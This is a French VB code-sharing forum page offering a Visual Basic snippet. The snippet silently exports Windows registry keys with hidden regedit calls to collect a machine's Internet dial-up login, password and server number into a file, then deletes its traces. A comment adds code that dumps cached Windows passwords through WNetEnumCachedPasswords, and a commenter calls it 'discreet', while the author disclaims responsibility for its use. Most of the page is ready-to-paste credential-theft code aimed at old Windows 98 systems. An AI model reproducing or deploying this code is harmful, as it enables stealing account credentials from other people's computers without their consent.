Recuperer les accomptes internet d'une machine (sans api)

Soyez le premier à donner votre avis sur cette source.

Snippet vu 3 509 fois - Téléchargée 41 fois

Contenu du snippet

PS: ATTENTION !!! Sauvegarder sa base des registres avant toutes choses

Travail avec regedit en ligne de cmd

PS: ATTENTION !!! Sauvegarder sa base des registres avant toutes choses

Permet de reucperer les accomptes d'un PC dans un fichier IEA.DAT (qui est en fait un .reg)
avec toute la config du PC : login,pass,n°tel du serveur....
Tout ce qu'il faut pour avoir un compte ie valide quoi

PS: ATTENTION !!! Sauvegarder sa base des registres avant toutes choses

Source / Exemple :


Function Lie(ByVal FAcc As String, ByVal FRU As String, ByVal FRD As String, ByVal FDst As String)
On Error Resume Next
 Dim I As Integer
 Dim Tmp As String, Tmp1 As String, Tmp2 As String
Tmp1 = "[HKEY_CURRENT_USER\Software\Microsoft\\Internet Account Manager\Accounts\000"
Tmp2 = Chr$(34) & "POP3 User Name" & Chr$(34) & "=" & Chr$(34)
Open FDst For Output As #2
 Print #2, "REGEDIT4" & vbCrLf
 Open FAcc For Input As #1
  Do Until EOF(1)
   Line Input #1, Tmp
   If Left(Tmp, Len(Tmp2)) = Tmp2 Then PCO = Left(Right(Tmp, Len(Tmp) - Len(Tmp2)), Len(Right(Tmp, Len(Tmp) - Len(Tmp2))) - 1)
   If Left(Tmp, Len(Tmp1)) = Tmp1 Then
     Print #2, Tmp
    For I = 0 To 13
     Line Input #1, Tmp
     Print #2, Tmp
    Next
   Else
   End If
  Loop
 Close #1
 Open FRU For Input As #1
  Do Until EOF(1)
   Line Input #1, Tmp
   If Tmp = "REGEDIT4" Then Tmp = ""
   Print #2, Tmp
  Loop
 Close #1
 Open FRD For Input As #1
  Do Until EOF(1)
   Line Input #1, Tmp
   If Tmp = "REGEDIT4" Then Tmp = ""
   Print #2, Tmp
  Loop
 Close #1
Close #2
End Function

Sub Recup()
 Shell "regedit.exe /E C:\000.txt HKEY_CURRENT_USER\Software\Microsoft\", vbHide
 Shell "regedit.exe /E C:\001.txt HKEY_CURRENT_USER\RemoteAccess\", vbHide
 Shell "regedit.exe /E C:\002.txt HKEY_USERS\.DEFAULT\RemoteAccess", vbHide
 Lie "C:\000.txt", "C:\001.txt", "C:\002.txt", "C:\IEA.dat"
 Shell "command.com /C del c:\000.txt", vbHide
 Shell "command.com /C del c:\001.txt", vbHide
 Shell "command.com /C del c:\002.txt", vbHide
End Sub

Sub Main()
 Recup
End Sub

Conclusion :


Faite en ce que vous voulez mes je suis pas responsable des actes fait avec.

PS: ATTENTION !!! Sauvegarder sa base des registres avant toutes choses
Sinon vous allez niquez votre config ie si le(s) accompte(s) ne viennent pas de votre PC

PAS BESOIN DE FICHIER ZIP JUSTE FAIRE COPIER/COLLER

A voir également

Ajouter un commentaire Commentaires
Messages postés
3
Date d'inscription
mercredi 5 novembre 2003
Statut
Membre
Dernière intervention
6 novembre 2003

Salut


Ma source permet de recuperer
Le nom d'utilisateur de connexion
Le mot de passe de connexion
Et le numero de telephone du serveur

MAIS sous Win98

Elle est un peu brouillon mais pas peu faire autrement en ce temps la

Avec l'ADSL et WinXP elle sert plus a grand chose JUSTE pour l'acces a la base des registres

Site avec que des astuces sur la base des registres
http://www.regedit.com ET APRES VOUS REVENEZ TOUT DE SUITE SUR VBFRANCE OK!!! :):):):):):):)

BON PROG ET BONNE PRISE DE TETE
Messages postés
412
Date d'inscription
mercredi 19 décembre 2001
Statut
Membre
Dernière intervention
7 avril 2008
1
pas clair tout ca, je n'ai rien compris
Messages postés
12
Date d'inscription
vendredi 5 octobre 2001
Statut
Membre
Dernière intervention
24 juin 2002

Shiva va voir tes messages je t'est repondu
Messages postés
97
Date d'inscription
vendredi 28 décembre 2001
Statut
Membre
Dernière intervention
1 décembre 2003

JE N'AI PAS BIEN COMPRIS TON TRUC
LE FICHIER IEA.DAT N'ARRETE PAS D'AUGMENTEZ DE CAPACITE (60 MEGA)
Messages postés
12
Date d'inscription
vendredi 5 octobre 2001
Statut
Membre
Dernière intervention
24 juin 2002

'P'tit assez discret met moins de 2 secondes a ce creer
'
'BIEN FAIRE SA SAUVEGARDE DE LA BASE DES REGISTRES AVANT SINON
'BONNE GALERE POUR RETAPER TOUTE VOTRE CONFIG DE CONNECTION AU NET
'
'Renommer C:IEA.DAT en C:IEA.REG
'Puis importer le dans votre base des registres
'Et utiliser la function GetPasswords pour connaitre le login et le pass :

'Dans la form
' Metter un listbox nommé : List1

'Dans un module

' PS : Ce qui suit n'est pas de moi

Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) As Long
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Type PASSWORD_CACHE_ENTRY
cbEntry As Integer
cbResource As Integer
cbPassword As Integer
iEntry As Byte
nType As Byte
abResource(1 To 1024) As Byte
End Type
Public Function callback(X As PASSWORD_CACHE_ENTRY, ByVal lSomething As Long) As Integer
Dim nLoop As Integer
Dim cString, Resource, ResType, Password As String
Dim ccomputer
ResType = X.nType
For nLoop = 1 To X.cbResource
If X.abResource(nLoop) <> 0 Then
cString = cString & Chr(X.abResource(nLoop))
Else
cString = cString & " "
End If
Next
Resource = cString
cString = ""
For nLoop = X.cbResource + 1 To (X.cbResource + X.cbPassword)
If X.abResource(nLoop) <> 0 Then
cString = cString & Chr(X.abResource(nLoop))
Else
cString = cString & " "
End If
Next
Password = cString
cString = ""
Form1.List1.AddItem Resource
Form1.List1.AddItem Password
callback = True
End Function

Public Sub GetPasswords()
Dim nLoop As Integer
Dim cString As String
Dim lLong As Long
Dim bByte As Byte
bByte = &HFF
nLoop = 0
lLong = 0
cString = ""
Call WNetEnumCachedPasswords(cString, nLoop, bByte, AddressOf callback, lLong)
End Sub

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.